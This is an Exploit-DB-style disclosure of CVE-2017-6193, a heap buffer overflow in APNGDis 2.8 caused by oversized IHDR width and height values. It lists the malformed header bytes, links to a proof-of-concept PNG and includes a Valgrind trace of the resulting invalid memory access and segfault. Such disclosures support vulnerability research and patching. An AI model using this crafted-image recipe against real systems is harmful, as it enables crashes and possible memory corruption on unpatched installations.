# Exploit Title: APNGDis image width / height Buffer Overflow # Date: 14-03-2017 # Exploit Author: Alwin Peppels # Vendor Homepage: http://apngdis.sourceforge.net/ # Software Link: https://sourceforge.net/projects/apngdis/files/2.8/ # Version: 2.8 # Tested on: Linux Debian / Windows 7 # CVE : CVE-2017-6193 Additional analysis: https://www.onvio.nl/nieuws/cve-2017-6193 POC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41669.png In the first bytes of the PoC, positions +0x10 through +0x17 are malformed to contain large values: ‰ P N G . . . . . . . . I H D R 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52 . . . . . . . . 00 0F 00 00 00 0F 00 00 ^ ^ ^ ^ ^ ^ ^ ^ Valgrind: Reading '../w_h_chunk_poc.png'... ==10563== Invalid read of size 8 ==10563== at 0x4C30260: memcpy@GLIBC_2.2.5 (vg_replace_strmem.c:1017) ==10563== by 0x109924: compose_frame(unsigned char**, unsigned char**, unsigned char, unsigned int, unsigned int, unsigned int, unsigned int) (apngdis.cpp:78) ==10563== by 0x10AA40: load_apng(char*, std::vector >&) (apngdis.cpp:363) ==10563== by 0x10B24E: main (apngdis.cpp:498) ==10563== Address 0x5edb3c8 is 28,792 bytes inside a block of size 65,593 free'd ==10563== at 0x4C2CDDB: free (vg_replace_malloc.c:530) ==10563== by 0x54CF643: png_destroy_read_struct (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0) ==10563== by 0x109E20: processing_finish(png_struct_def*, png_info_def*) (apngdis.cpp:176) ==10563== by 0x10A9FD: load_apng(char*, std::vector >&) (apngdis.cpp:361) ==10563== by 0x10B24E: main (apngdis.cpp:498) ==10563== Block was alloc'd at ==10563== at 0x4C2BBAF: malloc (vg_replace_malloc.c:299) ==10563== by 0x54C97CD: png_malloc (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0) ==10563== by 0x54DAF2D: ??? (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0) ==10563== by 0x54CD3B0: png_read_update_info (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0) ==10563== by 0x109838: info_fn(png_struct_def*, png_info_def*) (apngdis.cpp:58) ==10563== by 0x54CA2E0: ??? (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0) ==10563== by 0x54CAFBA: png_process_data (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0) ==10563== by 0x109D41: processing_data(png_struct_def*, png_info_def*, unsigned char*, unsigned int) (apngdis.cpp:158) ==10563== by 0x10A891: load_apng(char*, std::vector >&) (apngdis.cpp:337) ==10563== by 0x10B24E: main (apngdis.cpp:498) ==10563== ==10563== Invalid write of size 8 ==10563== at 0x4C30265: memcpy@GLIBC_2.2.5 (vg_replace_strmem.c:1017) ==10563== by 0x109924: compose_frame(unsigned char**, unsigned char**, unsigned char, unsigned int, unsigned int, unsigned int, unsigned int) (apngdis.cpp:78) ==10563== by 0x10AA40: load_apng(char*, std::vector >&) (apngdis.cpp:363) ==10563== by 0x10B24E: main (apngdis.cpp:498) ==10563== Address 0x5edbad8 is 30,600 bytes inside a block of size 65,593 free'd ==10563== at 0x4C2CDDB: free (vg_replace_malloc.c:530) ==10563== by 0x54CF643: png_destroy_read_struct (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0) ==10563== by 0x109E20: processing_finish(png_struct_def*, png_info_def*) (apngdis.cpp:176) ==10563== by 0x10A9FD: load_apng(char*, std::vector >&) (apngdis.cpp:361) ==10563== by 0x10B24E: main (apngdis.cpp:498) ==10563== Block was alloc'd at ==10563== at 0x4C2BBAF: malloc (vg_replace_malloc.c:299) ==10563== by 0x54C97CD: png_malloc (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0) ==10563== by 0x54DAF2D: ??? (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0) ==10563== by 0x54CD3B0: png_read_update_info (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0) ==10563== by 0x109838: info_fn(png_struct_def*, png_info_def*) (apngdis.cpp:58) ==10563== by 0x54CA2E0: ??? (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0) ==10563== by 0x54CAFBA: png_process_data (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0) ==10563== by 0x109D41: processing_data(png_struct_def*, png_info_def*, unsigned char*, unsigned int) (apngdis.cpp:158) ==10563== by 0x10A891: load_apng(char*, std::vector >&) (apngdis.cpp:337) ==10563== by 0x10B24E: main (apngdis.cpp:498) ==10563== ==10563== Invalid read of size 8 ==10563== at 0x4C30272: memcpy@GLIBC_2.2.5 (vg_replace_strmem.c:1017) ==10563== by 0x109924: compose_frame(unsigned char**, unsigned char**, unsigned char, unsigned int, unsigned int, unsigned int, unsigned int) (apngdis.cpp:78) ==10563== by 0x10AA40: load_apng(char*, std::vector >&) (apngdis.cpp:363) ==10563== by 0x10B24E: main (apngdis.cpp:498) ==10563== Address 0x5edb3b8 is 28,776 bytes inside a block of size 65,593 free'd ==10563== at 0x4C2CDDB: free (vg_replace_malloc.c:530) ==10563== by 0x54CF643: png_destroy_read_struct (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0) ==10563== by 0x109E20: processing_finish(png_struct_def*, png_info_def*) (apngdis.cpp:176) ==10563== by 0x10A9FD: load_apng(char*, std::vector >&) (apngdis.cpp:361) ==10563== by 0x10B24E: main (apngdis.cpp:498) ==10563== Block was alloc'd at ==10563== at 0x4C2BBAF: malloc (vg_replace_malloc.c:299) ==10563== by 0x54C97CD: png_malloc (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0) ==10563== by 0x54DAF2D: ??? (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0) ==10563== by 0x54CD3B0: png_read_update_info (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0) ==10563== by 0x109838: info_fn(png_struct_def*, png_info_def*) (apngdis.cpp:58) ==10563== by 0x54CA2E0: ??? (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0) ==10563== by 0x54CAFBA: png_process_data (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0) ==10563== by 0x109D41: processing_data(png_struct_def*, png_info_def*, unsigned char*, unsigned int) (apngdis.cpp:158) ==10563== by 0x10A891: load_apng(char*, std::vector >&) (apngdis.cpp:337) ==10563== by 0x10B24E: main (apngdis.cpp:498) ==10563== ==10563== Invalid read of size 8 ==10563== at 0x4C30140: memcpy@GLIBC_2.2.5 (vg_replace_strmem.c:1017) ==10563== by 0x109924: compose_frame(unsigned char**, unsigned char**, unsigned char, unsigned int, unsigned int, unsigned int, unsigned int) (apngdis.cpp:78) ==10563== by 0x10AA40: load_apng(char*, std::vector >&) (apngdis.cpp:363) ==10563== by 0x10B24E: main (apngdis.cpp:498) ==10563== Address 0x0 is not stack'd, malloc'd or (recently) free'd ==10563== ==10563== ==10563== Process terminating with default action of signal 11 (SIGSEGV) ==10563== Access not within mapped region at address 0x0 ==10563== at 0x4C30140: memcpy@GLIBC_2.2.5 (vg_replace_strmem.c:1017) ==10563== by 0x109924: compose_frame(unsigned char**, unsigned char**, unsigned char, unsigned int, unsigned int, unsigned int, unsigned int) (apngdis.cpp:78) ==10563== by 0x10AA40: load_apng(char*, std::vector >&) (apngdis.cpp:363) ==10563== by 0x10B24E: main (apngdis.cpp:498) ==10563== If you believe this happened as a result of a stack ==10563== overflow in your program's main thread (unlikely but ==10563== possible), you can try to increase the size of the ==10563== main thread stack using the --main-stacksize= flag. ==10563== The main thread stack size used in this run was 8388608. ==10563== ==10563== HEAP SUMMARY: ==10563== in use at exit: 16,777,901 bytes in 10 blocks ==10563== total heap usage: 24 allocs, 14 frees, 16,997,058 bytes allocated ==10563== ==10563== 64 bytes in 2 blocks are definitely lost in loss record 6 of 9 ==10563== at 0x4C2C93F: operator new[](unsigned long) (vg_replace_malloc.c:423) ==10563== by 0x10B4ED: read_chunk(_IO_FILE*, CHUNK*) (apngdis.cpp:112) ==10563== by 0x10A24D: load_apng(char*, std::vector >&) (apngdis.cpp:244) ==10563== by 0x10B24E: main (apngdis.cpp:498) ==10563== ==10563== LEAK SUMMARY: ==10563== definitely lost: 64 bytes in 2 blocks ==10563== indirectly lost: 0 bytes in 0 blocks ==10563== possibly lost: 0 bytes in 0 blocks ==10563== still reachable: 16,777,837 bytes in 8 blocks ==10563== suppressed: 0 bytes in 0 blocks ==10563== Reachable blocks (those to which a pointer was found) are not shown. ==10563== To see them, rerun with: --leak-check=full --show-leak-kinds=all ==10563== ==10563== For counts of detected and suppressed errors, rerun with: -v ==10563== ERROR SUMMARY: 1028641 errors from 5 contexts (suppressed: 0 from 0) Segmentation fault w_h_chunk_poc.png